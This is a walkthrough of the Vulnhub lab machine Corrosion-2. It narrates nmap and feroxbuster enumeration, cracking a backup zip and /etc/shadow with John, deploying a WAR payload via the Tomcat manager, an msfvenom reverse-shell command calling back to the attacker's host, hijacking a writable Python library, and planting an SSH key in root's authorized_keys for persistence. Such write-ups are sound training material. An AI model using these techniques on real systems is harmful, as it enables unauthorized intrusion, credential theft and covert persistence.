Vulnhub Writeup: Corrosion-2
So this machine comes up with this. Interesting, we already know 3 usernames: jaye, randy, and tomcat. In order to find this device, this time I used nmap to find the device using: nmap 192.168.56.2/24 -p 22 which just checks for port 22 and sees what we got. I matched up the MAC address given with virtual box (maybe I shouldn’t have so many devices on this network but anyway). Let’s continue with a full nmap on the box with: nmap -sC -sV -T5 $IP -p- -On corrosion2_tcp.nmap
Okay, what I start investigating those, I’ll let udp run as well. Looking that the results, I am guessing this is a focal distribution of Ubuntu. A quick search on Searchsploit and we don’t have any glaring options. So let’s go visit some webpages. curl $ip gives us a default http deployment on apache. Nothing new here, so let’s see if they deployed something behind it. Running feroxbuster with the default options, it only finds the main page:
Okay, not much here. There is a /server-status that would hit at there may be an authentication page somewhere, but we didn’t find it with that wordlist. Let’s check it with the large list and see if anything pops. It doesn’t, so we may come back here if the other port doesn’t get us anywhere.
Going on to the other port, we know it is a tomcat page. It finds quite a few pages here, but requires authentication.
Interesting, but not much that sticks out. However, seeing things like “manager” and “host-manager” reminds me of a tomcat deployment. That’s what nmap told us, so it makes since. If you follow some of those 200 links, it will come clear. Let’s run the wordlist specifically for this box:
Interesting, there is a RELEASE-NOTES.txt file still available, let’s check that out. It says that this is an Apache Tomcat 9.0.53. That matches nmap, but good to verify. Wait a minute, looking at the full results, there is a readme.txt file too? Let’s check that out.
Well, so now we are hiding messages huh? Time to start using a file wordlist and see what we can find. Since it is a file, we need to pick a file wordlist. However, we need to identify the extension too. Since we have no idea, I’ll try some common ones like txt, zip, tgz, tar, and php.
And there we go, found us a backup.zip file. Let’s grab it and unzip it. Of course it needs a password and we haven’t found one of those yet. Let’s see if John can help us while we keep enumerating.
And john succeeds! Using that password it appears we are getting some website configuration files. Looking through these files, there is the classic “tomcat-users.xml” file that stores the username/passwords of those allowed to login. Using one of those, we now have creds to get into the page. Now that we get on the page, it allows us to deploy war files. Let’s make one and deploy it. Since this is a java page, let’s make a java payload:
And Voila! Alright, we got a foothold here. Doing some initial recon, we have two users “jaye” and “randy” and it looks like we got the user.txt file. It appears the Admin left us another note:
Well, the way he changed the home directory is we have some readable and executable permissions, but limited to writing. Let’s get a better shell and start looking around. msfvenom -p linux/x64/shell_reverse_tcp LPORT=12346 LHOST=192.168.56.1 -f elf -o revShell64.elf. Now that we got that additional shell, let’s upgrade this shell to a tty shell with python3. There is a file in the home directory called “randombase64.py” that is owned by root along side that note. So reading the file, it just encodes a message using the base64 class. Nothing to risky there. Let’s see where it imports that from: find / -name base64.py -exec ls -al {} \; 2>/dev/null and it finds it and for some weird reason, we have write access to it.
Well, we can put a shell in there and see if it runs. Let’s just overwrite everything and put a python one-liner in there for a callback.
Okay, now is it going to get called? Checking the crontab file, it doesn’t look like it. Is anyone calling this function (with higher permissions) so I can get an elevated shell? Lets try pspy (process spy) and see if what kind of calls are running. I’ll fire up a listener in case something gets called back eventually. Running processes include these, which are really done by tomcat and don’t get me anywhere.
There are three users on the box, it is as simple as password reuse? Yup, jaye is reusing the password, now we have an ssh shell on the box. Immediately inside his home directory we see a directory called “Files” that has an executable with a sticky bit called “look”. Okay, let’s have a look. Looking at GTFO bins, it say we can read the entire contents of any file as root. Well, we can steal the /etc/shadow. I’ll pass those to John and keep enumerating. I can pull the /root/root.txt, but that is no fun. Okay, so john got us a password, perfect. Let’s see if we can get on as randy.
So it looks like that exploit we made earlier can now be executed as root via sudo! Since that was easy, let’s try a different approach too. Instead of getting a callback every time, let’s update the root user to allow us to ssh into the box? We can just use ssh-keygen -f randyForRoot to make a new public and private key for ssh. If we copy over the public key to root’s authorized keys, we can use it anytime we want.
And yes we can. Okay, this box can be done. The possibilities are endless here to make some persistence slices.